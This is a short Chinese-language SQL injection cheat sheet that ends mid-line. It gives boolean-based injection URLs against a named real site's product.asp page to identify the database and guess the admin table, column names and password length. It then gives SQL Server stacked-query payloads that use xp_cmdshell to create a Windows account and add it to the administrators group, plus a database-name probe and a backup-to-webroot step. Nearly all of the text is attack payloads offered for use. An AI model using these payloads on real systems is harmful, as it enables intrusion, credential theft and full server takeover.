ACCESS
查詢資料庫類型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查詢表admin頁面返回正常顯示為有,錯誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查詢admin表中的項admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查詢admin表中的項admin裡面的內容長度 小於出錯 等於返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 Order by [pwd]) T Order by [pwd] desc)<=7
暴力猜解admin表中的項admin_name
SQL
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行預存程序xp_cmdshell,這個預存程序用於調用系統命令,於是,用net命令建立了使用者名稱為name、密碼為password的windows的帳號,接著:
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
將建立的帳號name加入Administrator 群組,不用兩分鐘,你已經拿到了系統最高許可權!當然,這種方法只適用於用sa串連資料庫的情況,否則,是沒有許可權調用xp_cmdshell的。
③http://Site/url.asp?id=1 ;;and db_name()>0
前面有個類似的例子and user>0,作用是擷取串連使用者名稱,db_name()是另一個系統變數,返回的是串連的資料庫名。
④http://Site/url.asp?id=1;backup database 資料庫名 to disk='c:inetpubwwwroot